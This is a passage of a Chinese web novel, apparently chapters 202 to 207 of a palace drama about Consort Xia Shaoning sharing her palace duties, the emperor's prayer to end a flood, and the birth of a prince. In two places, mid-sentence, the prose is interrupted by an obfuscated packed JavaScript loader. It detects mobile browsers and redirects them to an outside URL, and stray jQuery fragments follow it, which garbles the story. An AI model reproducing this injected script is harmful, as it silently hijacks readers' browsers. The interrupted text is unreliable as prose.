谢充媛赶到承乾宫的时候,意外地发现苏修媛居然也来了。 两人面对面互相看了一眼,都在彼此的眼睛里看出了迷茫。 “给苏修媛请安。”虽然心里有些慌,但是如今的谢充媛已经不是那个从前将喜怒哀乐统统放在脸上的人了。见到了比自己位份高的妃子,自然而然会记得请安。 “谢妹妹也来了。”苏修媛看了谢充媛一眼,便示意她起身,说话的语气也是如往常一样淡淡的。 随后两个人忽然就开始冷场起来,一时之间也不知道该说些什么了。 不过好在这尴尬的气氛并没有持续多久,不一会儿,含秋就出来通传,说昭贵妃娘娘请二位主子进去了。 “你们两人怎么一块儿来了?”眼见着两人前后脚入了殿来,夏韶宁的脸上倒是露出了一丝吃惊的表情,“本来准备明日找你们二人来说说话的,没想到两位姐姐倒是与本宫心意相通了一回。” 苏修媛和谢充媛站在下首,看着面前这位昭贵妃娘娘有孕之后的面色似乎比从前还要好了,忽然就惊觉后宫那些人的传言有多可笑了。 什么贵妃娘娘惹圣上不开心了,要失宠了。如今两人打眼瞧着眼前这位娘娘面色红润,心情尚好的模样,哪有一点儿要失宠的样子啊? 真真是人言可畏啊! 第两百零二章 各司其职 “不瞒贵妃娘娘,臣妾今日就是为了那协理六宫之权来的。”眼瞧着苏修媛一直不说话,一旁的谢充媛终于忍不住开口了。 听得谢充媛也是为着这件事情来的,苏修媛虽然没有说话,但是夏韶宁也看出了她面上那明显的不解。 夏韶宁没想过这两人居然是这种反应,心中想着难不成自己在这后宫里还真是霸权霸地太久了,搞得这后宫里的其他女人面对这到手的权利都是这般不敢相信的模样。 “哎,两位姐姐不必如此紧张。实在是如今本宫有孕,日常精力渐渐有些不济,所以才同圣上说了一声希望能让后宫中的姐妹们费点心思来帮帮本宫。” 夏韶宁朝着满脸戒备的两人露出了一丝亲切的笑容,这才终于将眼前两人的疑惑打消了一点儿。 “如此说来,是圣上亲自选中臣妾与谢妹妹来帮助娘娘的?”苏修媛抬头看了夏韶宁一眼,这会儿的脸色倒是比刚刚好了许多。 “那可不是?”夏韶宁点了点头,“圣上还夸苏姐姐最是细心,这协理六宫的事情交给姐姐,他可放心着呢!” 夏韶宁这人,一直以来就有个优点,她始终相信这个世界上没有永远的朋友,但是也没有永远的敌人。 不管自己从前与苏修媛闹过什么矛盾,如今要人家帮着自己做事,那她自然就会多说点别人爱听的话给人家听。 好听的话和委屈时的眼泪一样,要多少有多少,反正又不要钱。 “可是娘娘,臣妾与苏修媛在潜邸的时候就没做过这种管家的事情,如今六宫的事情可比在潜邸时要复杂多了,臣妾……实在怕做不好。” 其实谢充媛私心里对于圣上能将协理六宫之权交给她是十分激动的,哪怕只是要她给苏修媛打打下手,她也觉得开心。 若是她在昭贵妃生下孩子之前将这件事情做得好,说不准到时候圣上还能给她晋一晋位份。 等到她熬到了一宫主位,以后二公主才能有更好的婚事。 只是若是她做得不好…… “哎,谢姐姐不用担心这些,其实说起来,本宫当初不也是摸着石头过河吗?” 听得谢充媛的担忧,夏韶宁急忙对她摆了摆手,示意她无需担心这些。 “两位姐姐尽管放手去做,若是遇到很难决定的事情,让身边的人来同本宫说一声便是。” 有了夏韶宁这番话,苏修媛和谢充媛的心才渐渐放回了肚子里。 得到了自己想要得到的答案,两人也不准备继续叨扰夏韶宁了。只是略略在承乾宫坐了一会儿,这便前后脚离开了。 “含秋,你现在出去悄悄地跟着她们,等到她们两人从前头的甬道分开以后,你让谢充媛再折回来一趟。” 估摸着两人已经走了一会儿了,夏韶宁便对着含秋耳语了一番。 含秋会意,即刻去了。 不过一盏茶不到的时候,谢充媛便又跟着含秋回到了承乾殿。 “娘娘这是还有话要嘱咐臣妾?”谢充媛站在下首,盯着夏韶宁看了好一会儿,面上有些不解。 “谢姐姐不会觉得本宫待你真的同待苏修媛是一样的吧?”夏韶宁从上首走了下来,缓缓地走到了谢充媛的身边。 “本宫知道谢姐姐只是性子着急,但是本事还是有的。不管怎么说,您的父亲可是互市监,想必从小就对数字这些东西更敏感吧?” 其实夏韶宁还真不是为了哄着谢充媛帮她做事胡乱说的这句话,还记得上一次殿中省送东西来,谢充媛只是略略看着惜春与含秋清点了一遍东西,就能算出总数是多少。 后来含秋因为粗心漏了一件东西没有送进库房,谢充媛也是扫了库房一眼就发现了。 从那次以后夏韶宁才发现,这谢妩并不像她从前以为的只是个嘴巴比脑子快的人,她还是有些自己的优点的。 “娘娘这般夸臣妾,倒是夸得臣都有些不好意思了。” 此时的谢充媛面色微红,还真就一副不好意思的样子。原因无他,实在是在她的记忆里,鲜少有人这么夸自己。 年少的时候她其实就发现了自己对于与数字相关的事情很敏感,可是父亲和嫡母都觉得她不过一个六品官家的庶女,以后嫁人了大概率也是当个妾,日常生活中根本用不着这种本事。 于是渐渐的,便连她自己都忘了她还有这份本事。 “本宫从来不说假话,你有这方面的天赋,那如今就得利用起来。”说着,夏韶宁便从一旁的桌子上拿过了一本册子,递给了谢充媛。 “谢姐姐也知道,想要当好一个家,银钱之事是最不可出差错的。这是殿中省前几天送来的后宫上个月的开销,姐姐拿回去先看看,若是有哪里不明白或者发现了什么问题,随时来承乾宫找本宫便是。” 谢充媛看着眼前那本厚厚的册子,还是有些觉得难以置信。 “娘娘,这后宫开销可是宫中的机密,您就这般给了臣妾……,您就不怕臣妾转头就给公开了?” “你不会的。”听得谢充媛这番话,夏韶宁忽然就笑了。 “协理六宫是多少人求都求不来的事情,圣上将这件事情交给姐姐与苏修媛,我敢保证这后宫里的其他人早就嫉妒得要吐酸水了。” “若是你有一点没做好,你后头多的是人想要将你取而代之。再者就算是为了二公主,姐姐也会好好做的,对吧?” 说到这里,夏韶宁忽然抬起头来,神秘兮兮地看了谢充媛一眼,“难道姐姐就没想过有朝一日要成为一宫之主,成为二公主身后最有力的依靠吗?” 一席话落,谢充媛便彻底不出声了。 因为她忽然就明白了为何眼前这位昭贵妃娘娘许多年如一日地受圣上的宠爱了。 这位娘娘实在是将人心这件事情,拿捏得明明白白。 “谢姐姐擅长数字,苏姐姐心细擅长组织事务,有你们两个帮着本宫管理这六宫之事,本宫可就轻松多了。” 此时的夏韶宁似乎并没有看到谢充媛那认真思索的眼睛,她转过身来从妆奁里拿出了一对儿栩栩如生的珍珠玲珑八宝簪子,不由分说地就塞进了谢充媛的怀里。 “这两只簪子是从同一批珍珠里挑出最好的几颗做成的母女簪,姐姐带回去同皎皎一块儿戴着玩儿吧!” 第两百零三章 孕期日常 将手中的事情分了一大半给苏修媛与谢充媛以后,夏韶宁的生活忽然就空闲了下来。 说起来,这两人虽然嘴上说着怕自己做不好协理六宫的事情,但是光启年间的第一个新年,两人还是在夏韶宁的提点之下办得十分成功。 连萧祈安都惊觉他这后宫里的女人们,好像也不是日日只会做些争风吃醋的事情的。 或许她们在某些方面的确不太讨自己喜欢,但是对于那些安安静静不惹事的女人,该有的体面他还是愿意给的。 于是,光启二年就这样热热闹闹地到来了。 四月,天气渐渐温暖了起来,后宫里的女人们也终于脱下了冬装,换上了轻薄的春装。 夏韶宁如今已经有将近七个月的身孕了,肚子越发变得沉重了起来。 “娘娘,您如今已经到了孕后期了,在吃食上……还是控制些好。” 辛夷站在桌子前,看着夏韶宁今日午膳已经吃了半只松鼠鳜鱼、一个拳头大小的红烧狮子头、一碗熬得浓浓的莲藕排骨汤以及好几样小糕点了,终于忍不住出声提醒起来。 “嗯?怎么不知不觉就吃了这么多了?” 听得辛夷的提醒,夏韶宁这才放下了手里的筷子,有些遗憾地摸了摸自己的肚子。 “您孕早期的时候总是吃不下东西,我便在您的保胎药里头放了一些开胃的药。如今瞧着您的胃口好多了,这开胃的药还是不加的好。” 辛夷对着夏韶宁解释了一番,夏韶宁便明白了过来。 “行吧,吃多了到时候孩子养得太大了也不好生,还是控制些好。” 夏韶宁嘴上虽然是这么说的,但是那双眼睛还是恋恋不舍地盯着桌上的菜看了许久,最终还是叹了口气将目光收了回来。 用了晚膳休息了一会儿,夏韶宁便准备给孩子做衣裳,忽然就听得耳边传来了一阵急匆匆的脚步声。一抬头,果然瞧见萧祈安风尘仆仆地朝着她走了过来。 “今日事情多,耽误了一会儿,宁儿等久了吧?” 萧祈安一入了殿来,便立刻到净房去洗了手,随后便对着身边的宫人们摆了摆手,内殿伺候的人便陆续退了出去。 “没有,臣妾用了晚膳去小花园里散了会儿步,这才刚刚歇下准备给孩儿做件小肚兜,陛下这就来了。” 夏韶宁将手中那个绣了一半的肚兜举到了萧祈安的面前,笑嘻嘻地问道,“陛下觉得臣妾绣得好不好?” “嗯……比几年前你给朕绣的那个像鸭子的鸳鸯荷包好多了。” 萧祈安看了看眼前的小肚兜,眼里忽然就露出了一丝难掩的笑意,“其实有些事情……宁儿可以交给专业的人去做的,宫里不是有尚衣局吗?” “陛下又在拐着弯嘲笑臣妾了!” 听得萧祈安又提起了她从前的“黑历史”,夏韶宁气得一把就将肚兜收了回来。 “说起来我也就不明白了,账本那么难看明白的东西我都能看懂,这小小的刺绣怎么就是弄不明白呢?” 夏韶宁一边说,一边将手中的肚兜举起来看了看。 说起来她本来是准备在这肚兜上绣一只小老虎的,因为算一算她的孩子刚好就是属老虎的。可是如今看着这绣了一半的“老虎”,怎么都觉得像一只有点可爱的……猫? “行了,朕前段时间问过太医令了,都说妇人有孕的时候要少用眼,不然到时候生完孩子要眼睛疼的。” 萧祈安将夏韶宁手中的肚兜抢了过来,塞进了一旁的针线篓子里,柔声道,“绣两件意思一下就好了,仔细伤了眼睛。” “对了,朕今日来倒是有件事情要同宁儿商量。” 萧祈安一手搂着夏韶宁,一手从腰间拿出了一张纸,铺在了夏韶宁的眼前。 “嗯,这是什么?上头还有字呢?” 夏韶宁支起身子,这才瞧见那张纸上倒是密密麻麻写了挺多字的。 “这是朕给咱们的孩儿取的名字。” 萧祈安搂着夏韶宁的肩膀,伸出食指一个名字一个名字地指了过去。 “因为也不知道是男孩还是女孩,所以男孩女孩的名字朕各自都取了三个,今日拿来给宁儿瞧瞧,让你这个母妃来决定。” 听得萧祈安这番话,夏韶宁瞬间就来了精神。 只见她拿起那张纸端详了一会儿,口中缓缓念道,“男孩,萧衡麟/昀/琛,女孩,萧心钰/昭/华……都是很好的名字呢,陛下有心了。” “朕从前一直觉得自己文韬武略无所不知,可是为了给咱们的孩儿想名字,朕可谓煞费苦心了。宁儿别看就这六个字,朕可是足足想了一周,这才堪堪选出了几个觉得合适的拿给你看的!” 这会儿的萧祈安,对着夏韶宁说话的语气和与其他人说话的语气完全不同。 夏韶宁总觉得这会儿的萧祈安好像一只做了好事想向他要奖励的大狗狗。想到这里,她再也忍不住了,“噗呲”一声就笑了出来。 “你笑朕?宁儿你居然笑朕?!”看着夏韶宁好端端的居然对着自己笑了起来,萧祈安这会儿倒是觉得更委屈了。 “朕这么努力给咱们的孩子想名字,宁儿还笑朕,你……” 夏韶宁就这样看着萧祈安,不知为何忽然就觉得,她隔了这么多年才决定生孩子,是个多么正确的决定。 如今的萧祈安,才是真真正正懂得要如何做一个好父亲了。她也相信等到她肚子里的这个孩子生下来,他/她一定能得到满满的父爱母爱。 也算弥补了她前世亲情缘浅的这个遗憾了。 “陛下别生气了。”夏韶宁笑了好一会儿,忽然就伸过头去对着萧祈安的唇轻轻啄了一下,还没等萧祈安反应过来,夏韶宁便伸出食指指着那张纸道—— “若是男孩,就叫萧衡昀,若是女孩,就叫萧心华。这两个字很大气,臣妾很喜欢。” “宁儿辛苦为朕生儿育女,只要你觉得好就行,朕没有异议。” 眼见着夏韶宁脸上满满的都是笑意,不知为何,萧祈安忽然觉得自己也被感染得变得没来由的开心起来。 这样的生活,可真好啊! 第两百零四章 大雨 进入七月,金州城的一场大雨忽然打得所有人措手不及。 因为往年这个时候的金州城是基本上不下雨的。 一开始下雨的时候,不管是农户还是百姓都十分开心。因为金州的夏天年年气温都很高,也容易闹旱灾,夏天有雨,对所有人来说都是好事。 农户有足够的水源可以灌溉庄稼,普通百姓也不用遭受酷暑的煎熬。 可是随着这雨连绵不绝下了半月还没有停歇的意思,众人渐渐便觉得这雨下得似乎有些不同寻常起来。 紫宸殿。 这日大朝会之后,萧祈安特意将自己信任的几个重臣召到了紫宸殿,商量一下到底应该如何应对金州城这场大雨。 “陛下,金州城这雨已经断断续续下了半个来月了,若是再下下去,金州怕是也要同从前的江州一样闹洪灾了!” 丞相燕川站在最前头,面上露出的是深深的担忧神情。 “这下雨和干旱是最难处理的两种自然灾害了,老天爷他是要下雨还是要停雨,那自然还是老天爷说了算啊!” 这会儿说话的,是正四品黄门侍郎范连溪。他同燕川一样,是坚定的“保皇党”,任何事情都无条件站在萧祈安一边,所以萧祈安也十分地信任他。 “如今还尚未出现洪涝,朕只能吩咐工部的人将金州城内外的江河湖周围加固一番,堤坝也要日日派人去巡查。只是这雨若是一直这样下个不停,眼下正是农户们插秧苗的时候,下半年的粮食收成怕是要受影响了。” 萧祈安看着窗外的雨,心中也如同这细细密密的雨丝一般有些烦躁。 他登基堪堪一载,就逢这诡异的天气。若是这雨真的一直下个不停,时间久了怕是难免有人要用这场雨来做文章了。 “陛下,臣倒是有个建议,只是不知可不可行。” 眼见着萧祈安的脸色越来越难看,如今已经是恒王的四皇子萧祈渊适时开口了。 “以往若是碰到了这种极端天气,先祖们都会在祭坛上祭祀,以求老天保佑,停止目前这一切。” “既然圣上说了这场雨会影响农户们插秧苗,臣斗胆提出一个建议,陛下不如让礼部的人在金州郊外的农田附近设一个祭坛,让所有农户们看到陛下向上天求雨停的决心。如此这般,就算这场雨真的不停,农户和百姓们也知道陛下的心中一直都在想着他们,并没有不管不顾他们。” 恒王一开始提出要祭祀的时候,萧祈安面上还有不以为意。虽然他是大容的君主,但是其实他从心底里是不大相信这些鬼神之事的。 可是直到恒王说出要将祭坛设置在农田附近,萧祈安才渐渐露出了笑脸。 要不怎么说四哥是个聪明人呢,他心中想到却不好明说的事情,四哥还真就帮他说出来了。 毕竟在这个世界上,鬼神,哪有人心重要。 “众卿觉得恒王这个提议如何?” 听得恒王的话,萧祈安并没有直接开口回答说好还是不好。他只是托着下巴微微思考了一番,转过身来以一副询问的姿态朝着在场的其他人问道。 燕川和范连溪互相对视了一眼,又看了看站在一旁的恒王与定王(七皇子萧祈盛),却见两位王爷的脸上都是一派镇静自若的样子,他们瞬间就明白了。 这件事情虽然是恒王提议的,只是怕是圣上心中早就有此想法了。 “臣等觉得恒王的提议很好!”几乎没有思考,燕川便上前对着萧祈安拱了拱手,“只是若是要祭祀,还是要让司天台算一个好日子,再叫礼部去操办才好。” “嗯,既然众卿都无异议,那就这么办!” 萧祈安微不可闻地点了点头,随即转身对着张全和吩咐道,“一会儿让司天台的监正来一趟紫宸殿。” 不过两刻钟后,司天台的袁监正就来了紫宸殿。 “朕打算过几日去京郊祭祀,祈求上天让这场大雨尽快停止。你算个好时间,朕好让礼部的人去准备。” 萧祈安站在上首,朝着袁监正道,“最好就在最近的日子里挑一天合适的,这雨下得实在太久了,拖不得了。” 袁监正看着圣上面前一幅焦虑的神情,也明白他的确被这场大雨折磨得身心都十分的不舒服。 于是他先是将随身携带的册子拿出来仔细看了一眼,又捏着手指细细算了好一会儿,最后便对着萧祈安道,“回禀陛下,七月廿六是个大吉的好日子,宜祭祀。” “七月廿六?”听得袁监正的话,萧祈安的眉头却忽然皱了起来。 倒不是他对于这个日子有什么不满,实在是几天前辛夷就同他说过了,夏韶宁的预产期好像就在七月廿六这一天。 “再早些的好日子没有了?”萧祈安掰着指头算了算,如今离七月廿六还有差不多十日呢。 “回陛下,最近半月只有七月廿六这一日是主大吉宜祭祀的好日子。若是错过了这一日,怕是要等上十天半个月才有这么好的日子了。” 袁监正并不知道萧祈安心里在考虑什么,虽然见着圣上听完他的话眉头就皱了起来,他还是选择了实话实说。 毕竟他的本职工作就是窥天相,算日子的。 “行,既然这样,那就定在七月廿六吧。” 只是略微思考了一会儿,萧祈安就做出了决定。 虽然他也很想陪着夏韶宁生产,但是身为帝王,他还有更多更重要的事情需要去做。 …… 晚间的时候,萧祈安去了承乾宫陪夏韶宁用晚膳。 夏韶宁如今已经足月了,辛夷说她随时都有可能会生产。 前几个月她的胃口尚好,辛夷生怕她吃多了孩子太大了,如今要生了,她的胃口反而变得不好了。 萧祈安虽说是陪她用晚膳,可是这会儿的夏韶宁也只是喝了一碗汤就觉得饱了。 “吃得这样少?”萧祈安看着夏韶宁只喝了一碗汤就再动筷了,便有些心疼起来,“从前都不知道,妇人怀孕如此辛苦,宁儿受苦了。” “这都不算什么呢,到时候生孩子的时候才是一脚踏入鬼门关呢!” 夏韶宁只要想到还有不到十天她就要生孩子了,心中莫名觉得有那么些隐隐约约的不安。 “宁儿……朕今日来其实是有件事情要同你说……” 第两百零五章 祭祀 萧祈安看着夏韶宁面上的恐惧不是假的,又想到自己可能没办法陪她生产了,心中越发觉得愧疚起来。 “这雨下得实在太久了,久得已经不正常了。所以朕让司天台挑了个好日子,打算去京郊摆个祭台向上天祈福。” “只是司天台算出最适合祭祀的日子正好是七月廿六,那么巧就与你的预产期碰到一起了……” 说到这儿,萧祈安便有些说不出话来了。 毕竟之前他曾信誓旦旦地向夏韶宁保证过,等到她生孩子的时候自己一定会全程守在她身边。可是如今却…… “陛下也将臣妾想得太脆弱了吧!您可是大容的君主,就算是臣妾要生孩子,那也比不上国事重要啊!” “再说臣妾身边有辛夷,有太医院的太医们,还有那么多经验丰富的接生嬷嬷与稳婆,您还有何好担心的呢?” 夏韶宁看着萧祈安一副有些不敢面对自己的样子,忍不住就笑了。 一直以来,她都是个理智大于情感的人。对她来说,生孩子这种九死一生的重要时刻,比起萧祈安这种什么都不懂的人,她更愿意辛夷以及太医还有接生嬷嬷等专业人士陪在她的身边。 毕竟,这辈子大概也就生这么一次孩子了,她总得确保一切都万无一失才好。 “宁儿真的不怪朕?”听得夏韶宁这般语气轻松的话,萧祈安的面上仍旧有些怀疑,“你这丫头别这时候说得好好的,等到后面再来与朕秋后算账,那朕可不依啊!” “呀,臣妾哪儿就是这么小气的人了!” 看着萧祈安一脸怀疑地看着自己,夏韶宁气得伸出手来就在萧祈安的手臂上拧了一下。 “行了,您不能陪臣妾生孩子,臣妾也拧了您一把,咱们两人这就算打平了!您看行不行?” “你这丫头,一天天的哪儿来那么多鬼点子!” 夏韶宁这一把拧得可不轻,萧祈安的手臂肉眼可见地红了起来。只是这会儿的萧祈安非但没生气,心里还觉得甜蜜蜜的。 看来宁儿真的没有生他的气。 “陛下您就放心去祈福便是,若是真能让上天看到您的诚意,早日停雨放晴,这对臣妾与孩子来说也算是功德一件了。” 提起孩子,夏韶宁的脸色瞬间温柔了起来。 过了没一会儿,又见夏韶宁忽然抓住萧祈安的手,轻柔地放在自己如今已经隆得很高的肚子上,笑嘻嘻地对着萧祈安道,“陛下您看!孩子动啦,他/她也觉得母妃说的话很对呢!” *** 时间一晃而过,很快就到了七月廿六,萧祈安去京郊祈福的日子。 为表自己对上天的诚意,萧祈安提前三日斋戒,祈福当天更是沐浴焚香,将仪式做得足足的。 萧祈安当然不能确定今日所谓的祈福能不能让这雨停下来。他只知道今日一番前去,必定要让所有农户和百姓看到他的诚意,如此也不算白去这一趟。 金州郊外。 京郊这一片的农田是最多的,所以萧祈安与礼部商量了以后,便让礼部把祭祀台搭在了这里。 早几日前金州城的百姓们就听说了圣上今日要来京郊祭祀,祈求上天赶快停雨,免让金州城的百姓受洪涝以及断粮之苦。 所以真正到了祭祀这一天,祭祀台的周围早就已经里三层外三层**了许多人了。 其实萧祈安当初还是贤王的时候,因为接连破了两桩****的大案子,为人又最是谦和,所以他在坊间的名声一直都很好。 只是随着他登基以后这场突如其来不停歇的大雨,渐渐地,百姓们对他这个皇帝也难免有了怨言。 “这次的祭祀搞得这么大的排场,你们说有没有用啊?老天真能因为圣上在这上个香跪一跪,就让这下了快一月的雨停了?” “切,上头那群人不就最爱搞这种装模作样的事情,你眼睛看着圣上是来祈福,谁知道他们心里打着什么其他算盘呢!” “哎,你们少说几句吧!你们没瞧见如此大的雨,圣上连伞都不让人给他撑!这老天爷下不下雨,下多久的雨,那也不是圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415568|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一个凡人能决定的啊!今日来了那么多上头的人,我劝你们嘴上还是多个把门的吧!” …… 这会儿的萧祈安正冒雨跪在祭台前的蒲团上,身上那身明黄色的朝服早就已经被雨给淋得透透的了。 他闭着眼睛虔诚地跪着,对于耳边传来的百姓的闲言碎语置若罔闻。 张全和就站在他的身边,看着那豆大的雨点接连不断地打在萧祈安的身上,心疼得不得了。只是他几次三番拿来了伞想替圣上撑着,都被圣上倔强地推开了。 “皇天在上,后土为证!这雨下得田亩泡烂,百姓叫苦,定是朕德行不够,触怒了上天。今儿备下祭品,诚心祈求老天爷收了雨吧!朕愿减吃穿、免赋税!只求老天让这雨停下!别再让大容的百姓们受苦了!” 与此同时,承乾宫内。 今日一大早起床以后,夏韶宁就觉得自己的肚子有些不对劲。 勉强在宫女的服侍下洗漱完毕再用过了早膳,夏韶宁忽然觉得自己似乎有些支撑不住了。 因为已经到了夏韶宁的预产期,所以这段时间辛夷几乎十二个时辰寸步不离地守着她。一见着夏韶宁的脸色不对,辛夷立刻就警觉了起来。 “娘娘,您怎么了?是哪里不舒服吗?” “我觉得……肚子发硬,胀得很疼……辛夷,我是不是要生了?” 虽说夏韶宁自从知道自己有孕了以后,足足给自己做了将近十个月的心里建设。可是这会儿真的要生了,她忽然就觉得头脑一片空白,什么都想不起来了。 “娘娘您别怕,您先放松,就算是要生了,头胎也没有那么快的!” 眼见着夏韶宁的脸色变得蜡白,辛夷急忙上前一把就将她稳稳地扶住了。 只是还没等两人喘上一口气,夏韶宁忽然觉得身体里有个什么东西“砰”的一声破了! 再低头,就看见自己的下身正源源不断地往外流着水。 “不好,娘娘破水了!快,赶快将贵妃娘娘抬到产房去!娘娘要生了!” 第两百零六章 夏韶宁生产 随着辛夷的这一句洪亮的叫喊声,承乾宫上下都立刻行动了起来。 夏韶宁被几个贴身宫女架着送进了早就准备好的产房,太医和接生嬷嬷立刻跟着辛夷一道入了产房。 一开始的夏韶宁只是觉得肚子有些发紧,疼痛感还不是那么的明显。可是随着她的羊水破了以后,那持续的疼痛便犹如海浪般一般一阵又一阵地朝着她袭来,仿佛根本就没有停歇一般让她连缓一缓的时间都没有。 “疼……”夏韶宁躺在产床上,死死抓住了辛夷的手不肯松开,如今的脑海中也就只剩下了一个疼字。 “娘娘,我知道您疼,但是如今您才刚刚发动,产程还有很长的时间。您别喊,咱们省着些力气早点将小主子生出来好吗?” 辛夷感受到了夏韶宁死死拉住她的手用了多大的力气,心中便也明白娘娘这会儿怕是真的很紧张。她生怕夏韶宁会大喊大叫浪费了力气,这在生孩子的时候可是大忌。 “我……不叫,我会忍住!只是……你们一定得保我的孩儿平安!” 这会儿的夏韶宁,头脑早就清醒了过来。又听得辛夷这千叮万嘱,她便硬生生将那些喊叫忍住了。 看着夏韶宁这番坚定的模样,辛夷忙不迭地点了点头,又转身从一旁的药箱里拿出了一片参片塞进了夏韶宁的嘴里。 “娘娘,您喊着这片参片吊着一口气,咱们现在开始慢慢调整呼吸!吸气,呼气!很好,再来一次……” …… 承乾宫的昭贵妃要生产的消息,不大一会儿就传得满宫都知道了。 这会儿最坐立难安的除了正在生产的夏韶宁本人,怕就是绛雪轩的谢充媛了。 “母妃,昭母妃要生弟弟了吗?” 三岁的二公主从院子里跑了进来,就瞧见母妃正在屋子里走来走去,于是一把就拉住了谢充媛的手。 “皎皎刚刚瞧见贤妃娘娘已经从霁月殿出去了,她是不是也是去看昭母妃生弟弟去了?” “什么?贤妃往承乾宫去了?”听得二公主的话,本来心里就有些慌张的谢充媛的面色变得更加苍白起来。 “主子,其他宫里的主子们也都陆陆续续往昭贵妃那儿去了。”正说着话呢,便瞧见星罗从外头神色复杂地走了进来,“咱们要不也去吧……” “去,当然要去!你忘了当年苏修媛和孝端皇后生二皇子和三皇子的时候是什么光景了吗?如今圣上不在宫里,太后又不爱管这些事儿,我必定要好好守着贵妃娘娘生产才是!” 经过这些年的成长,现在的谢充媛早就不是从前那个没脑子的草包了。昭贵妃对她有恩,从潜邸到皇宫里又一次次明里暗里地帮了她许多,她谢妩虽然脾气不好脑子也不聪明,但却不是个知恩不图报的人。 那么现在,她报恩的机会终于来了! “星罗带着皎皎跟我一道去承乾宫,云织去通知一下苏修媛!虽说我与她如今手中都握着协理六宫的权利,但是不管怎么样她位份比我高,有些事情还是她出面比较好。” 对着两个贴身宫女吩咐完这些事,谢充媛牵起二公主的手就往外走去。 果然,当谢充媛紧赶慢赶赶到承乾宫的时候,唐贤妃,许昭容和吴美人已经到了。 只是这会儿三个人正被兰芷“礼貌”地挡在了承乾宫的宫门口,一个都没让进去。 “昭贵妃娘娘如今正在生产,各位娘娘主子若是无事还是不要随意进去打扰得好。” 兰芷带着李顺挡在宫门前,说话的语气虽然恭敬,但是身子却没有一丝要往旁边挪走的意思。 “你这宫女好大的胆子!本宫好歹也是四妃之一,如今想要进这承乾宫,还要你一个宫女允许不成?!” 看着兰芷这般样子,唐贤妃气急,说话间就要让身边的宫女冲上去教训人了。 “贤妃娘娘生这么大气做什么?昭贵妃生产是大喜事,您在娘娘的宫门口教训她身边的大宫女,似乎不大好吧?” 眼见着唐贤妃身边的霞光抬手就要往兰芷面上扇巴掌,谢充媛立马上前一把就将霞光的手抓住了。 “你一个九嫔最末的充媛也敢拦着本宫教训宫人?你出手之前怎么也不掂量一下你自己配不配的吗?!” 唐贤妃不屑地瞥了谢充媛一眼,说话的语气里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415569|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满是嘲讽。 “别以为圣上给你个协理六宫的权利你就觉得自己高人一等了!说难听点圣上看重的本来就是苏修媛,你不过是个捎带脚的,还真把自己当盘菜了!” “你……” 谢充媛虽然一开始满脑子都是要拦着这群女人不让她们入了承乾宫打扰贵妃娘娘生孩子,但是头脑这种东西是天生的,哪怕她这几年脾气性格都收敛了不少,但是如今被唐贤妃这般指着鼻子骂,她一下子还真想不到要如何回嘴了。 “给贤妃娘娘请安,给许昭容请安。” 两人这头正是一副剑拔**张的样子,却听得身后传来了一阵清冷的声音。众人回头,瞧见的就是姗姗来迟的苏修媛。 这会儿苏修媛面带微笑,缓步走到了众人的面前。而也不知道她是有意还是无意,她走上前来直接就站在了谢充媛的面前,就这样将谢充媛与满脸怒气的唐贤妃隔开了。 “圣上离宫去京郊祭祀的时候,曾经嘱咐过臣妾要看好这宫里的事情。特别是昭贵妃娘娘随时都有可能会发动,所以早就同臣妾与谢充媛交代了要守着贵妃娘娘的承乾宫。” “谢充媛你也是的,难不成是听闻贵妃娘娘要生产你就慌了,怎么连圣上交代的如此重要的事情都忘记告诉贤妃娘娘了?” 苏修媛一边说,一边转头对着站在她身后的谢充媛使了个眼色。 “啊……都怪臣妾脑子不好,这事情一多,臣妾就给忘了……” 谢充媛就算再笨,这会儿也看明白了苏修媛是在帮自己说话,于是便也立刻接过她的话顺着说了下去。 果然,刚刚面对谢充媛还一幅趾高气扬样子的唐贤妃,听得苏修媛将圣上搬了出来,立刻就不说话了。 “不进去就不进去,生个孩子而已,谁不会生一样!” 唐贤妃吃了瘪,转头就准备带着霞光离开。 而就在这个空档,承乾宫里忽然传出了一阵十分响亮的婴儿啼哭声! 不一会儿,便见蕙心兴高采烈地从产房里小跑了出来,对着李顺大声道,“娘娘生了个小皇子,母子平安!你快去京郊通知圣上!” 第207章 祥瑞 因为萧祈安离宫的时候特意交代过看守宫门的侍卫,今日若是承乾宫的宫人要出宫万万不得阻拦。所以李顺十分顺利地就出了宫门,坐上马车径直就往京郊的祭祀台去了。 “陛下,陛下!”一路紧赶慢赶终于赶到了京郊,隔得老远,李顺便朝着前头被人群围着的萧祈安大声喊道,“回禀陛下!昭贵妃娘娘生了,是个小皇子,母子平安!” 这厢的萧祈安已经在那细细密密的雨中跪了好几个时辰了,听得李顺的声音,他下意识地就从蒲团上站了起来。 而就在他从地上站起来的一瞬间,天空中飘飘洒洒下了近一月的雨忽然就停了下来! 天空中那厚重的乌云也不知何时散开了,久违的阳光终于毫无保留地撒在了田间地头! “雨停了!雨停了!出太阳了!出太阳了!” “我们的庄稼有救了!下半年不用闹饥荒了!” “定是圣上的诚心感动了上天,是新出生的小皇子给我们带来了阳光和希望!” …… 农户和百姓们看着天空中那久违的太阳,每个人的脸上都露出了灿烂的笑容。刚刚还在私底下叨叨说萧祈安装模作样的那些人,不知何时也悄悄地离开了。 而也不知道是谁带的头,刚刚还在感叹终于雨停的百姓们,忽然齐刷刷地就朝着祭台上的萧祈安跪了下来。 